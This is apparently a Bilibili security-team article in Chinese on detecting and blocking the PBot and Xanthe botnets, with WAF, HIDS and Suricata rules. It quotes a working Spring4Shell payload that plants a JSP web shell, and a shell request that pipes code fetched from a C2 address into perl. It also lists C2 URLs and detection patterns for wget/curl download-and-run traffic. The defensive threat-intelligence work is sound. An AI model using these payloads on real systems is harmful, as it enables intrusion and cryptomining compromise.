B站安全防御系列—僵尸网络

本期作者

曲妍峰

资深安全工程师


01.僵尸网络


僵尸网络 Botnet 是指采用一种或多种传播手段,利用 bot(僵尸程序)病毒感染和控制数万个主机即黑客常说的傀儡机或“肉鸡”(肉机),组织成一个个命令与控制(command and control,C&C)节点。控制僵尸网络的攻击机称为“僵尸主控机(Botmaster)”,主控机通过 C&C服务器向 bot发布命令来发送伪造的虚假数据包或是垃圾数据包,达到使攻击目标瘫痪并“拒绝服务”(DDoS)的目的。据公开报道显示,唐山一骇客曾控制了 6万台计算机对某音乐网站进行分布式拒绝服务(DDoS)攻击,造成该网站无法正常提供服务,损失上百万元人民币。



1.1 主要特点


1. 僵尸网络是一个可控制的网络,它具有一定的分布性,随着bot程序的不断传播而不断有新位置的僵尸计算机添加到这个网络中来。

2. 采用了一系列恶意传播手段形成,例如高危漏洞攻击、邮件投送等各种病毒与蠕虫的传播手段,都可以用来进行Botnet的传播,从这个意义上讲,恶意程序bot也是一种病毒或蠕虫。

3. Botnet最主要的特点是可以一对多地执行相同的恶意行为,比如可以同时对某目标网站进行分布式拒绝服务(DDos)攻击,同时发送大量的垃圾邮件等,而正是这种一对多的控制关系,使得攻击者能够以极低的代价高效地控制大量的资源为其服务。


1.2 活跃度统计


利用威胁情报收集手段对僵尸网络活跃情况进行统计分析,从安全社区/论坛、国内外厂商报告、安全研究机构等多处进行情报数据采集,如各僵尸网络的IOC(Indicators of Compromise)情报获取频率、相关报告数量、攻击活动时间等,并结合WAF防护日志研判,分析统计近3个月内活跃情况如下表。安全部门会定期根据活跃僵尸网络排名制定安全防御策略并实施系列防护手段,由于篇幅有限,本文将重点介绍针对近期排名一、二的僵尸网络所采取的防御策略。



02. PBot僵尸网络


2.1 资料背景


PBot僵尸网络家族是近年来异常活跃的P2P僵尸网络,善于利用新漏洞发起攻击,如Spring4Shell漏洞(CVE-2022-22965)、GitLab CE/EE RCE漏洞(CVE-2021-22205)等。因其bot模块为GitHub开源的IRCBot(采用Perl语言编写),且病毒脚本中包含perlbot关键字而得名。据公开资料显示该僵尸网络正通过大量攻击互联网主机植入恶意bot脚本构建僵尸网络来进行挖矿牟利,目前已有上万个受害主机失陷。


2.2 入侵钻石模型


威胁情报分析领域的入侵钻石模型理论可以用于对僵尸网络组织进行分析,该模型基于集合和图论,分类并创建入侵活动模型,模型的基础是一个原子元素(“事件”),并由至少四个互连(链接)的特征(节点)组成:技战术手段,基础设施,受害者和影响危害。根据入侵钻石模型理论对PBot僵尸网络家族特征刻画分析及档案建立:


2.3 技术分析


执行流程:攻击者首先利用Spring4Shell(CVE-2022-22965)漏洞、GitLab CE/EE RCE(CVE-2021-22205)漏洞向受影响的脆弱主机植入恶意文件,包含恶意脚本jui.sh、僵尸网络bot模块、lans(下载ssh暴破模块)。恶意脚本jui.sh会下载挖矿shell脚本45.647.txt进行门罗币挖矿并运行僵尸网络bot模块lan构建僵尸网络,恶意脚本lans会从C2(89.44.9.246)下载lan.jpg实现SSH暴破实现横向传播,最终构成挖矿僵尸网络。



2.3.1 Spring4Shell漏洞(CVE-2022-22965)


攻击者利用Spring4Shell(CVE-2022-22965)漏洞向受影响的脆弱主机植入恶意挖矿脚本及bot模块。Spring4Shell 是一个高危远程代码执行 (RCE) 漏洞,影响JDK 9+上运行的所有Spring MVC、Spring WebFlux应用程序。分析Spring4Shell漏洞原理,并结合Pbot利用方式总结请求中存在如下特征:


get_headers = {
    "prefix": "<%",
    "suffix": "%>//",
    # This may seem strange, but this seems to be needed to bypass some check that looks for "Runtime" in the log_pattern
    "c": "Runtime",
}


class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.
pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.cl
assLoader.resources.context.parent.pipeline.first.fileDateFormat=


GET /shell.jsp?pwd=k3rwin&cmd=wget -q -O - 89.44.9.246/j|perl HTTP/1.1


检测思路&防护策略


特殊请求头


a) 使用WAF配置安全策略,检测外网存在特殊请求头的request,并实时拦截,策略配置如下:



a) 配置suricata规则,检测产线IDC中存在特殊请求头的request,当发送恶意攻击请求时服务端成功响应后产生告警,对流联动检测规则编写如下:


alert http any any -> any any (msg:"CVE-2022-22965: Spring4Shell远程命令执行漏洞检测&Header"; flow:to_server,established; content:"prefix"; http_header;nocase; content:"%>"; http_header;nocase; content:"suffix"; http_header;nocase;content: "<%";http_header; nocase;flowbit:set,name1; sid:500005; metadata: by custom;)
alert http any any <- any any (msg:"CVE-2022-22965: Spring4Shell远程命令执行漏洞检测&Header-Response"; flow:to_client,established; content:"200"; http_stat_code; content:"OK"; http_stat_msg;flowbit:isset,name1;sid:500006; metadata: by custom;)


攻击payload


a) 使用WAF配置安全策略,检测外网存在特殊body的request,并实时拦截,策略配置如下:



配置suricata规则,检测产线IDC中存在特殊请求body的request,当发送恶意攻击请求时服务端成功响应后产生告警,对流联动检测规则编写如下:


alert http any any -> any any (msg:"CVE-2022-22965: Spring4Shell远程命令执行漏洞检测&Request"; flow:to_server,established; content:"prefix"; http_client_body;nocase; content:"suffix"; http_client_body;nocase; content:"getRuntime()"; http_client_body;nocase;content: "class. module.classLoader.resources.context.parent.pipeline.first.pattern ";http_client_body; nocase;pcre:"/%{prefix}is*java.io.InputStreams*ins*=s*%{c}i.getRuntime().exec(request.getParameter(".*?")).getInputStream();/Ri";flowbit:set,name2; sid:500007; metadata: by custom;)
alert http any any <- any any (msg:"CVE-2022-22965: Spring4Shell远程命令执行漏洞检测&Body-Response"; flow:to_client,established; content:"200"; http_stat_code; content:"OK"; http_stat_msg;flowbit:isset,name2;sid:500008; metadata: by custom;)


下载并执行僵尸网络bot模块


a) 使用WAF配置安全策略,检测Pbot下载执行僵尸网络bot模块的GET请求,并实时拦截,策略配置如下:



a) 配置suricata规则,检测产线IDC中Pbot下载执行僵尸网络bot模块的GET请求,当发送恶意攻击请求时服务端成功响应后产生告警,对流联动检测规则编写如下:


alert http any any -> any any (msg:" Pbot僵尸网络恶意下载执行检测"; flow:to_server,established; content:"shell.jsp"; http_uri;nocase; content:"cmd=wget"; http_ uri;nocase; content:"89.44.9.246"; http_header;flowbit:set,name3;flowbit:noalert; sid:500009; metadata: by custom;)
alert http any any <- any any (msg:" Pbot僵尸网络恶意下载执行检测-Response"; flow:to_client,established; content:"200"; http_stat_code; content:"OK"; http_stat_msg;flowbit:isset,name3;sid:500010; metadata: by custom;)


2.3.2 GitLab CE/EE RCE(CVE-2021-22205)


攻击者利用GitLab CE/EE RCE(CVE-2021-22205)漏洞向受影响的脆弱主机植入恶意挖矿脚本及bot模块。此漏洞由于GitLab 没有正确验证传递给文件解析器的图像文件,导致高危远程代码执行 (RCE)。分析GitLab CE/EE RCE利用方式,并结合Pbot利用方式总结请求中存在如下特征:



使用登陆请求返回的 Cookie 值和 csrf-token 值,利用漏洞接口/uploads/user上传包含恶意代码的图片文件(如下载僵尸网络的bot模块),实现 RCE



检测思路&防护策略


恶意图片上传


a) 使用WAF配置安全策略,检测外网存在Gitlab的/uploads/user接口上传包含恶意命令的图片文件请求,并实时拦截,策略配置如下:



a) 配置suricata规则,检测产线IDC中对Gitlab的/uploads/user接口上传包含恶意命令的图片文件请求,并与Gitlab登陆态获取请求联动检测:


alert http any any -> any any (msg:"Gitlab登陆请求"; flow:to_server,established; content:"GET"; http_method;nocase; content:"/users/sign_in"; http_uri;nocase; flowbit:set,gitlab;flowbit:noalert; sid:500010; metadata: by custom;)
alert http any any <- any any (msg:" CVE-2021-22205:Gitlab exiftool 远程命令执行漏洞"; flow:to_server,established; content:"/uploads/user"; nocase; http_uri; fast_pattern; content:"_gitlab_session"; nocase; http_cookie; content:"Copyright"; nocase; http_client_body;flowbit:isset,gitlab;sid:500011; metadata: by custom;)


2.3.3 僵尸网络bot模块下载


利用上述漏洞,可下载并执行以下三种恶意脚本jui.sh、僵尸网络bot模块pp、恶意脚本lans,在流量传输监控中可检测/拦截请求中包含的相关下载命令。

1.恶意脚本jui.sh会下载并运行僵尸网络bot模块lan(使用Perl编写)来构建僵尸网络,并下载挖矿shell脚本45.647.txt进行门罗币挖矿,下载命令如下:

2. 僵尸网络bot模块pp是使用Perl编写的DDos攻击模块,下载命令如下:

3.恶意脚本lans会从C2(89.44.9.246)下载ssh暴破模块lan.jpg(压缩包文件,包含ssh暴破脚本、暴破字典及生成器)来实现内网横向暴破,lans下载命令如下:


检测思路&防护策略


jui.sh


使用WAF配置安全策略,检测外网存在lan模块下载请求:



b) 配置suricata规则,检测产线IDC中lan模块下载请求:

alert http any any -> any any (msg:" Pbot僵尸网络bot模块-lan模块下载检测"; flow:to_client,established; content:"lan"; http_header;nocase; fast_pattern; pcre: "/(wget|curl).*?(89.44.9.246/lan|perl)/Ri"; sid:500020; metadata: by custom;)
alert http any any -> any any (msg:" Pbot僵尸网络bot模块-lan模块下载检测"; flow:to_client,established; content:"lan"; http_client_body;nocase; fast_pattern; pcre: "/(wget|curl).*?(89.44.9.246/lan|perl)/Ri"; sid:500021; metadata: by custom;)


c) 使用WAF配置安全策略,检测外网存在shell脚本45.647.txt下载请求:


d) 配置suricata规则,检测产线IDC中shell脚本45.647.txt下载请求:


alert http any any -> any any (msg:" Pbot僵尸网络bot模块-lan模块下载检测"; flow:to_client,established; content:".txt"; http_header;nocase; fast_pattern; pcre: "/(wget|curl).*?(89.44.9.246/all/.*.txt|bash)/Ri"; sid:500022; metadata: by custom;)
alert http any any -> any any (msg:" Pbot僵尸网络bot模块-lan模块下载检测"; flow:to_client,established; content:".txt"; http_client_body;nocase; fast_pattern; pcre: "/(wget|curl).*?(89.44.9.246/all/.*.txt|bash)/Ri"; sid:500023; metadata: by custom;)


pp模块


a)使用WAF配置安全策略,检测外网存在pp模块下载请求:



b)配置suricata规则,检测产线IDC中pp模块下载请求


alert http any any -> any any (msg:" Pbot僵尸网络bot模块-pp模块下载检测"; flow:to_client,established; content:"pp"; http_header;nocase; fast_pattern; pcre: "/(wget|curl).*(run.psybnc.org/pp|perl)/Ri"; sid:500024; metadata: by custom;)
alert http any any -> any any (msg:" Pbot僵尸网络bot模块-pp模块下载检测"; flow:to_client,established; content:"pp"; http_client_body;nocase; fast_pattern; pcre: "/(wget|curl).*(run.psybnc.org/pp|perl)/Ri"; sid:500025; metadata: by custom;)


c) 根据pp模块功能特点,检测产线IDC中DDos请求,由于规则数量众多,仅列举部分规则:


alert udp any any -> any 53 (msg:"DDos DNS BIND 9 Dynamic Update DoS attempt"; byte_test:1,&,40,2; byte_test:1,>,0,5; byte_test:1,>,0,1; content:"|00 00 06|"; offset:8; content:"|c0 0c 00 ff|"; distance:2; classtype:attempted-dos; sid:500026; metadata:by custom;)
alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"DDos Excessive SMTP MAIL-FROM DDoS"; flow: to_server, established; content:"MAIL FROM|3a|"; nocase; window: 0; id:0; threshold: type limit, track by_src, count 30, seconds 60; classtype:denial-of-service; sid:500027; rev:2; metadata: by custom;)
alert udp $EXTERNAL_NET 123 -> $HOME_NET 123 (msg:"DDos Potential Inbound NTP denial-of-service attempt (repeated mode 7 request)"; dsize:1; content:"|17|"; threshold:type limit, count 1, seconds 60, track by_src; classtype:attempted-dos; sid: 500028; rev:2; metadata: by custom;)


lans模块


a) 使用WAF配置安全策略,检测外网从C2(89.44.9.246)下载ssh暴破模块lans请求:



b) 配置suricata规则,检测产线IDC中从C2(89.44.9.246)下载ssh暴破模块lans请求:


alert http any any -> any any (msg:" Pbot僵尸网络bot模块-pp模块下载检测"; flow:to_client,established; content:"lans"; http_header;nocase; fast_pattern; pcre: "/(wget|curl).*(89.44.9.246/lans)/Ri"; sid:500029; metadata: by custom;)
alert http any any -> any any (msg:" Pbot僵尸网络bot模块-pp模块下载检测"; flow:to_client,established; content:"lans"; http_client_body;nocase; fast_pattern; pcre: "/(wget|curl).*(89.44.9.246/lans)/Ri"; sid:500030; metadata: by custom;)


c)根据pp模块功能特点,使用IPS检测ssh横向暴破行为:



03 Xanthe挖矿僵尸网络


3.1 资料背景


多家安全厂商报告显示,一款名为“Xanthe”的僵尸网络近两年正活跃进行挖矿活动,Xanthe是一个加密劫持恶意软件家族,其主要目标是劫持系统资源以挖掘 Monero加密货币。Xanthe采用各种方法在网络中传播,例如收集客户端证书以使用ssh传播到已知主机,或传播到配置错误的Docker API的系统。最新报告显示,Xanthe木马除了继续从事挖矿的“老本行”外,新版本中还添加了投递名为“brickerbotv2”的Mirai僵尸网络bot程序的功能,攻击者可以借此实现对外发起DDoS攻击的目的。


3.2 入侵钻石模型


根据威胁情报分析领域的入侵钻石模型理论,可以从以下角度对PBot僵尸网络家族特征刻画分析及档案建立:


3.3 技术分析


Xanthe挖矿僵尸网络的恶意功能分别集成在各个恶意脚本中,主要分为以下3个模块:

http://209.141.34.37/fczyo

http://209.141.34.37/alduro

http://209.141.34.37/sesa.txt


3.3.1 fczyo模块




检测思路&防御策略



a) 使用NIDS检测产线流量中的恶意x86文件传输,文件以md5值唯一识别,若发现恶意文件告警则立即上机清理,规则配置如下:


b) 防火墙封禁可以连接DDoS指令的恶意地址45.61.184.81



检测思路&防御策略


a)HIDS检测/etc/host文件是否被修改,若修改则产生告警并介入处理,策略配置如下:


b)防火墙直接封禁矿池地址


3.3.3. alduro模块




检测思路&防御策略


a) IPS文件检测adnckil挖矿木马下载,md5值为3932979ca166dc69cca192490318f700,规则配置如下:


b)使用NIDS监测产线流量中可执行文件下载,规则如下:

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"Executable and linking format (ELF) file download Over HTTP"; flow:established; flowbits:isnotset,ET.ELFDownload; file_data; content:"|7F|ELF"; within:4; flowbits:set,ET.ELFDownload; reference:url,www.itee.uq.edu.au/~cristina/students/david/honoursThesis96/bff.htm; reference:url,doc.emergingthreats.net/bin/view/Main/2000418; classtype:policy-violation; sid:2019240; rev:1; metadata:created_at 2022_09_25, updated_at 2022_10_13;)




检测思路&防御策略


a) HIDS定时监控authorized_keys文件文件是否被写入特殊SSH公钥



3.3.3. sesa.txt模块



检测思路&防御策略


a) 同fczyo模块中host函数检测思路相同,使用HIDS监控/etc/hosts文件改动



b) HIDS监测主机是否执行systemctl stop apparmor命令


作者:曲妍峰

来源:微信公众号:哔哩哔哩技术

出处:https://mp.weixin.qq.com/s/X9l4M0RzVJJeNGXmx5TrBw

展开阅读全文

页面更新:2024-04-06

标签:僵尸   目的   网络   脚本   漏洞   模块   恶意   规则   主机   文件   系列

1 2 3 4 5

上滑加载更多 ↓
推荐阅读:
友情链接:
更多:

本站资料均由网友自行发布提供,仅用于学习交流。如有版权问题,请与我联系,QQ:4156828  

© CopyRight 2020-2024 All Rights Reserved. Powered By 71396.com 闽ICP备11008920号-4
闽公网安备35020302034903号

Top